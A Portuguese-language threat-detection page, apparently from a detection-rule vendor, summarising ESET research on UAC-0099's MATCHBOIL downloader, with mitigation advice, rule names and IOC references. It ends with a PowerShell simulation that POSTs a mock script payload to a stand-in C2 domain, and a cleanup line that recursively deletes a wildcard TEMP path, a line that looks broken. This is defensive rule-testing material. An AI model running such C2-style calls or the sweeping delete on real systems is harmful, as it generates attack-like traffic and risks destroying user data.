Campanha de Malware MATCHBOIL Introduz Novas Técnicas para Ataques Persistentes
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
O UAC-0099, um grupo APT alinhado à Rússia, evoluiu significativamente seu downloader MATCHBOIL em C# entre 2024 e 2026. O malware é usado para baixar, implantar e manter persistência para cargas secundárias, como o backdoor MATCHWOK. As variantes mais recentes incorporam ofuscação mais forte com .NET Reactor, técnicas de evasão de sandbox e métodos de comunicação C2 cada vez mais sofisticados.
Investigação
Pesquisadores da ESET conduziram uma análise cronológica das variantes de MATCHBOIL identificadas através de telemetria e submissões ao VirusTotal. A investigação documentou a progressão do malware desde a ofuscação básica com Unicode até a virtualização avançada de código e enganação do usuário baseada em GUI. Os pesquisadores também descompilaram componentes C# para examinar consultas WMI, lógica de comunicação HTTPS e técnicas de persistência.
Mitigação
As organizações devem monitorar a execução suspeita de C# e tarefas agendadas inesperadas ou alterações de registro dentro dos diretórios de perfil de usuário. A detecção de endpoint deve identificar consultas WMI não autorizadas e tráfego HTTPS de saída incomum para domínios previamente não caracterizados. As equipes de segurança também devem observar nomes de arquivos maliciosos conhecidos e argumentos de linha de comando suspeitos como -auto or -plans.
Resposta
Quando a atividade do MATCHBOIL é detectada, isole os hosts afetados para evitar mais entregas de carga e comunicação C2. Realize uma investigação forense abrangente para determinar o vetor inicial de infecção, que provavelmente é spearphishing. Revise as chaves Run do registro e tarefas agendadas para entradas não autorizadas e verifique sistemas comprometidos em busca de cargas secundárias como a MATCHWOK.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via registro_evento)
LOLBAS WScript / CScript (via criação_processo)
Possível Biblioteca do Windows Criada em Pasta Incomum (via evento_arquivo)
Tarefa Agendada Suspeita (via auditoria)
IOCs (HashSha1) para detectar: ESET Research MATCHBOIL: Novos truques, mesmas velhas más intenções
IOCs (IP de Origem) para detectar: ESET Research MATCHBOIL: Novos truques, mesmas velhas más intenções
IOCs (IP de Destino) para detectar: ESET Research MATCHBOIL: Novos truques, mesmas velhas más intenções
UAC‑0099 Obtenção de Informações do Sistema WMI [Log de Eventos de Segurança do Microsoft Windows]
Detecção de Comunicação de Comando e Controle MATCHBOIL UAC-0099 [Conexão de Rede do Windows]
Execução de Simulação
-
Narrativa de Ataque & Comandos: O adversário procura estabelecer um canal de Comando e Controle (C2) para receber instruções e baixar módulos adicionais. Para evadir bloqueios simples baseados em IP, o atacante utiliza um domínio registrado sob um TLD comum (
.pro). O atacante simula a técnica “MATCHBOIL” enviando uma solicitação HTTPS onde a carga contém um<script>bloco, imitando a entrega de instruções hex codificadas e maliciosas disfarçadas como conteúdo da web. Isto é destinado a acionar tanto a condição baseada no domínio quanto a condição baseada na carga da regra de detecção. -
Script de Teste de Regressão:
# Simulação de Comunicação C2 de MATCHBOIL # Este script realiza uma solicitação HTTPS para um domínio .pro contendo uma tag de script na carga/corpo. $targetUrl = "https://test-matchboil-c2.pro/api/v1/update" $maliciousPayload = "<script>eval(hex_decode('414243'))</script>" try { Write-Host "[+] Tentando comunicação C2 para $targetUrl" -ForegroundColor Cyan Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream" } catch { Write-Host "[!] Solicitação concluída (Falha esperada se o domínio não existisse, mas a telemetria ainda deve ser capturada)" -ForegroundColor Yellow } -
Comandos de Limpeza:
# Nenhuma alteração persistente feita pelo script. # Apenas garanta que quaisquer arquivos temporários locais criados durante o teste sejam removidos. Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue